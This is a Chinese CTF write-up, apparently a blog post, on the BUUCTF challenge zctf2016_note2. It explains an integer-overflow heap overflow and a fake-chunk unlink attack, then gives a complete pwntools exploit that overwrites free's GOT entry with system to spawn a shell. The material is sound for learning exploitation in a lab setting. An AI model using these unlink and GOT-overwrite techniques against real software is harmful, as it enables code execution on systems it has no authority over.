[BUUCTF]zctf2016_note2

 一道伪造空闲chunk,利用unlink攻击指针数组的题,算是比较典型。

先checksec,堆题不开PIE,八成是打堆块指针数组,然后劫持指针指向got表附近,通过覆写got表拿到shell。

程序有四个功能。前面输入name和Addr都没啥用。

 审计代码,Add,Del,Show都是很简单的,可以得知申请的堆块地址和申请的空间的大小是由两个数组管理的。Del里面没有UAF漏洞。Add中申请0x80可以得到unsorted bin chunk

在读取字符串的函数中,存在一个整数溢出漏洞。这里在for循环的判断条件中,本意是让i在0~size-1的范围内,即输入size个字符。但是这里size-1为有符号数,i为无符号数,比较时会把size-1变为无符号数。而申请堆块时,malloc(0)会返回一个0x20大小的堆块。而size为0时,size-1为0xff ff ff ff ff ff ff ff,这里几乎可以无限制地溢出

Edit函数可以覆盖原本的内容,也可以在后面续写。

这里Edit函数无论是覆写还是拼接都是使用了strcpy和strncat,存在\x00截断的问题。我们通过2中拼接操作来处理size为0的堆块,这样在下面v2[size-strlen(dest)+14]=0所截断的位置就不会在我们输入的内容当中。就可以将输入的一长串内容全部拼接到原来的内容之后

思路:伪造堆块fake chunk,并且事先在fake  chunk后面申请过一个unsorted bin chunk,同时在unsorted bin chunk 和fake chunk之间预留一个通过size为0申请的chunk,以实现堆溢出,通过堆溢出来修改下一个堆块的size标记位(0x91变为0x90),并覆写prev_size字段。这样,fake chunk在我们释放这个unsorted bin chunk时,会被视为已经被释放的堆块,会触发堆块合并,即触发fake chunk 的unlink。

这样通过unlink,就可以让一个堆块指针指向指针数组ptr的上方,然后在劫持指针指向got表,泄露libc基址并且修改free函数got表为system函数地址或者onegadget地址

exp:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'

#r=remote('node4.buuoj.cn',25932)
r=process('/home/wjc/Desktop/note2')
e=ELF('/home/wjc/Desktop/note2')
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so')

ptr=0x602120

def welcome(name,addr):
    r.recvuntil("Input your name:")
    r.sendline(name)
    r.recvuntil("Input your address:")
    r.sendline(addr)
def cmd(idx):
    r.recvuntil('option--->>')
    r.sendline(str(idx))
def Add(size,content):
    cmd(1)
    r.recvuntil("Input the length of the note content:(less than 128)")
    r.sendline(str(size))
    r.recvuntil('Input the note content:')
    r.sendline(content)
def Del(idx):
    cmd(4)
    r.recvuntil('Input the id of the note:')
    r.sendline(str(idx))
def Edit(idx,Type,content):
    cmd(3)
    r.recvuntil('Input the id of the note:')
    r.sendline(str(idx))
    r.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]')
    r.sendline(str(Type))
    r.recvuntil('TheNewContents:')
    r.sendline(content)
def Show(idx):
    cmd(2)
    r.recvuntil("Input the id of the note:")
    r.sendline(str(idx))


welcome("wjc","jiangsu")
Add(0x80,'a'*8+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10))
Add(0,'b'*0x10)
Add(0x80,'cccc')
Add(0x10,'/bin/sh\x00')
Edit(1,2,8*'b'+'\x90')

Edit(1,1,'b'*0x10+'a'*7)
Edit(1,1,'b'*0x10+'a'*6)
Edit(1,1,'b'*0x10+'a'*5)
Edit(1,1,'b'*0x10+'a'*4)
Edit(1,1,'b'*0x10+'a'*3)
Edit(1,1,'b'*0x10+'a'*2)
Edit(1,1,'b'*0x10+'\xa0')

Del(2)

Edit(0,1,0x18*'a'+p64(e.got['free']));
Show(0)
free_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase=free_addr-(0x7f22c21e94f0-0x7f22c2165000)
system_addr=libcbase+libc.symbols['system']
Edit(0,1,p64(system_addr))
print("libcbase:",hex(libcbase))
print("system_addr:",hex(system_addr))

Del(3)

#gdb.attach(r)

r.interactive()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值